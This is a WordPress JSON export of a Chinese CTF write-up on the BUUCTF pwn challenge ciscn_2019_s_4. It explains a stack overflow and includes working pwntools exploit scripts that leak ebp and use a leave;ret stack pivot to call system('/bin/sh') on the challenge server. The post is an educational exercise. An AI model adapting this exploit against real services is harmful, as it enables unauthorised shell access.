{"id":184,"date":"2025-07-24T17:05:57","date_gmt":"2025-07-24T09:05:57","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=184"},"modified":"2025-07-24T17:05:58","modified_gmt":"2025-07-24T09:05:58","slug":"buuctfciscn_2019_s_4","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/24\/buuctfciscn_2019_s_4\/","title":{"rendered":"buuctf:ciscn_2019_s_4"},"content":{"rendered":"\n

1\u3001ciscn_2019_s_4\u5206\u6790<\/h2>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n


checksec:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4f4dpartial relro\u548cNX,\u6709\u4e24\u6b21\u8f93\u5165<\/p>\n\n\n\n

main\u6ca1\u6709\u4ec0\u4e48\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


vuln\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n


\u53ef\u4ee5\u53d1\u73b0read\u90a3\u91cc\u6709\u6808\u6ea2\u51fa\uff0c\u800chack\u51fd\u6570\u91cc\u6709system\uff1a<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4eec\u5c31\u76f4\u63a5ret2\u5c31\u884c\u4e86<\/p>\n\n\n\n

oh!\u4e0d\u5bf9\uff0c\u60f3\u5565\u5462\uff0c\u6ea2\u51fa\u7684\uff1b\u6839\u672c\u4e0d\u591f\u6211\u4eecrop\uff0c\u6240\u4ee5\u8981\u7528\u6808\u8fc1\u79fb\u4e86\uff0c\u90a3\u4e48\u5c31\u9700\u8981\u770b\u770bebp\u7684\u5730\u5740<\/p>\n\n\n\n

from pwn import *\ncontext.log_level=\"debug\"\n#p=remote(\"node5.buuoj.cn\",29497)\np=process(\".\/ciscn_s_4\")\n\npayload=b'a'*0x24+b'bbbb'\np.recvuntil(\"Welcome, my friend. What's your name?\")\np.send(payload)#\u7528sendline\u4f1a\u5f71\u54cd\u6cc4\u9732\ngdb.attach(p)\np.interactive()<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u6211\u4eec\u8f93a\u5730\u5740\u662f\uff1a0xffc0e470\uff0cebp\u662f\uff1a0xffc0e4a8<\/p>\n\n\n\n
\u6240\u4ee5\u7528ebp-0x38\u5c31\u662f\u8f93a\u7684\u4f4d\u7f6e\uff0c\u5c31\u53c8\u6709\u7a7a\u95f4\u7ed9\u6211\u4eec\u5199\u5165\u4e86\u3002<\/p>\n\n\n\n
\u7136\u540e\u6211\u4eec\u627e\u4e00\u4e0bleave\u548csystem<\/p>\n\n\n\n
leave=0x8048593<\/p>\n\n\n\n
system=08048400<\/p>\n\n\n\n
ok,\u5f00\u59cb\u5b9e\u64cd<\/p>\n\n\n\n
2\u3001ciscn_2019_s_4\u5b9e\u64cd<\/h2>\n\n\n\n
from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",29452)\n#p=process(\".\/ciscn_s_4\")\n\npayload=b'a'*0x24+b'bbbb'\np.recvuntil(\"Welcome, my friend. What's your name?\")\np.send(payload)\n#gdb.attach(p)\np.recvuntil(\"bbbb\")\nebp=u32(p.recv(4))\nprint(hex(ebp))\nbuf=ebp-0x38\nsys=0x8048400 \nleave=0x8048593\npayload=(b'aaaa'+p32(sys)+p32(0)+p32(buf+16)+b'\/bin\/sh\\0').ljust(0x28,b'a')+p32(buf)+p32(leave)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u89e3\u91ca\u4e00\u4e0b\u6bd4\u8f83\u7384\u4e4e\u7684\u5730\u65b9\uff0c\u8fd9\u91cc\u7528\u7684system_plt\u7684\u5730\u5740\u6240\u4ee5\u8981\u63a5\u8fd4\u56de\u5730\u5740p32(0),\u4e3a\u4ec0\u4e48\u662fbuf+16\u63a5binsh\uff0c\u56e0\u4e3abinsh\u6211\u4eec\u5199\u5728\u7b2c\u4e94\u4e2a\u4f4d\u7f6e\uff0caaaa\u7684\u5730\u5740\u662fbuf+0x4.\u5982\u679c\u5f00\u59cb\u4e0d\u5199aaaa\u7684\u8bdd\u540e\u9762ebp\u7684\u5730\u5740\u5e94\u8be5\u5199\u6210ebp-4<\/p>\n\n\n\n
\u6211\u4eec\u770b\u770bleave\u6307\u4ee4<\/p>\n\n\n\n
esp = ebp ; \u5982\u679cebp\u5730\u5740\u662fbuf<\/p>\n\n\n\n
pop ebp ; \u4ece buf \u91cc\u5f39\u51fa 4 \u5b57\u8282\u5230 ebp<\/p>\n\n\n\n
ret ; \u4ece buf+4 \u5f39\u51fa 4 \u5b57\u8282\u5230 eip<\/p>\n\n\n\n
\u6211\u4eec\u524d\u9762\u8f93\u5165\u7684aaaa\u88abpop ebp\u5f39\u51fa\u4e86\uff0c\u6240\u4ee5ret\u6307\u4ee4\u6307\u5411system\u3002\u5982\u679c\u8bbe\u6210buf-4\u90a3\u5c31\u4e0d\u7528\u5728\u5f00\u5934\u52a0aaaa\uff0c\u8fd9\u91cc\u662f\u4f2a\u9020\u7684ebp\uff0c\u56e0\u4e3a\u6211\u4eec\u8981\u6267\u884cleave\u3002<\/p>\n\n\n\n
\u5176\u5b9e\u8fd8\u662f\u6709\u70b9\u660f\uff0c\u6162\u6162\u7406\u89e3\u5427<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n

\u5c31\u5230\u8fd9\u513f\u5427\uff0c\u4f11\u606f\u4e86……<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
1\u3001ciscn_2019_s_4\u5206\u6790 checksec: \u4f4dpartial relro\u548cNX,\u6709\u4e24\u6b21\u8f93\u5165 ma […]<\/p>\n","protected":false},"author":1,"featured_media":192,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-184","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/184","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=184"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/184\/revisions"}],"predecessor-version":[{"id":193,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/184\/revisions\/193"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/192"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=184"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=184"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=184"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}